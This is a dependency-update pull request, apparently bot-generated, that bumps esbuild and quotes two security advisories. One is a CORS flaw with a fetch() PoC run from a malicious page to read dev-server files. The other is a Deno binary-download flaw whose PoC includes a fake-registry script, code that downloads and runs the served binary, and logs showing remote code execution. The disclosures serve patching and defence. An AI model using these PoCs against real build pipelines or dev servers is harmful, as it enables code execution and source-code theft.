chore: update dependency esbuild to v0.28.1 [security] by tsang-bot[bot] · Pull Request #141 · tsangste/aws-lambda-nx

tsang-bot · 2025-02-12T02:17:39Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
esbuild	`0.19.2` → `0.28.1`

esbuild enables any website to send any requests to the development server and read the response

GHSA-67mh-4wv8-2f99

More information

Details

Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

Details

esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).
The user accesses the malicious web page.
The attacker sends a fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
The attacker gets the content of http://127.0.0.1:8000/main.js.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

Fetching /index.html: normally you have a script tag here
Fetching /assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
Connecting /esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))
Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

PoC

Download reproduction.zip
Extract it and move to that directory
Run npm i
Run npm run watch
Run fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.

Impact

Users using the serve feature may get the source code stolen by malicious websites.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

GHSA-gv7w-rqvm-qjhr

More information

Details

Summary

The esbuild Deno module (lib/deno/mod.ts) downloads native binary executables from an npm registry and writes them to disk with executable permissions (0o755) without performing any integrity verification (e.g., SHA-256 hash check). The Node.js equivalent (lib/npm/node-install.ts) includes a robust binaryIntegrityCheck() function that verifies SHA-256 hashes against hardcoded expected values from package.json, but this protection was never implemented for the Deno distribution.

When the NPM_CONFIG_REGISTRY environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

Details

Vulnerable code path — lib/deno/mod.ts lines 62–82:

async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}

  const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled
  const url = `${npmRegistry}/${name}/-/${name.replace("@&#8203;esbuild/", "")}-${version}.tgz`     // line 71: URL uses attacker base
  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download
  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract

  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod
  return finalPath                                                                              // line 81: no hash check
}

Missing protection — The Node.js equivalent at lib/npm/node-install.ts lines 228–234:

function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}

This function is called in both the installUsingNPM() path (line 131) and the downloadDirectlyFromNPM() path (line 243), but no equivalent exists in the Deno module. Searching the entire git history confirms binaryIntegrityCheck, binaryHashes, sha256, and hash have never appeared in lib/deno/mod.ts.

Execution flow after download: The binary returned by installFromNPM() is passed to spawn() at line 291 of the same file:

const child = spawn(binPath, { args: [`--service=${version}`], ... })

Attack vector: The NPM_CONFIG_REGISTRY environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

PoC

Prerequisites: Deno runtime, Node.js (for fake registry)

Step 1: Create a fake npm registry that serves a malicious binary:

// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));

Step 2: Run the PoC with NPM_CONFIG_REGISTRY pointing to the fake server:

// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@&#8203;esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary

Step 3: Run:

node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED

Observed output in this environment:

Download URL: http://127.0.0.1:19876/@&#8203;esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0

Executing downloaded binary...
stdout: fake-esbuild-0.28.0

*** RCE CONFIRMED ***
Marker file content: PWNED

Build-local verification — using the actual built deno/mod.js:

The esbuild Deno module was built from source (node scripts/esbuild.js ./esbuild --deno) producing deno/mod.js. The fake registry test was then re-run using the actual module via import * as esbuild from "file:///path/to/deno/mod.js", triggering the real installFromNPM() → installFromNPM() code path:

[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0

[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.

The malicious binary was cached at ~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0 with contents:


#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"

Built-in Deno module (deno/mod.js) confirmed to contain NPM_CONFIG_REGISTRY usage (line 1900) and zero references to binaryIntegrityCheck, binaryHashes, sha256, or crypto.createHash.

Negative/control case — Node.js rejects the same fake binary:

Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check

Impact

An attacker who can control the NPM_CONFIG_REGISTRY environment variable in a Deno project using esbuild can achieve arbitrary code execution with the privileges of the Deno process. This is particularly relevant in:

CI/CD pipelines where NPM_CONFIG_REGISTRY is commonly set to point to internal artifact repositories
Shared development environments where environment variables may be inherited from parent processes
Corporate networks where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

Suggested remediation

Add SHA-256 integrity verification to the Deno module, mirroring the existing binaryIntegrityCheck() function from lib/npm/node-install.ts:

// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);

Validate the NPM_CONFIG_REGISTRY URL to ensure it uses HTTPS (or at minimum warn about HTTP):

const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}

Add ESBUILD_BINARY_PATH validation in the Deno module, mirroring the isValidBinaryPath() check from lib/npm/node-platform.ts.

Regression test suggestion: Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

evanw/esbuild (esbuild)

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tsang-bot Bot commented Feb 12, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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esbuild enables any website to send any requests to the development server and read the response

Details

Summary

Details

PoC

Impact

Severity

References

esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

Details

Summary

Details

PoC

Impact

Suggested remediation

Severity

References

Release Notes

Configuration

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tsang-bot Bot commented Feb 12, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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⚠️ Artifact update problem

File name: package-lock.json

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tsang-bot Bot commented May 8, 2026

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tsang-bot Bot commented Feb 12, 2025 •

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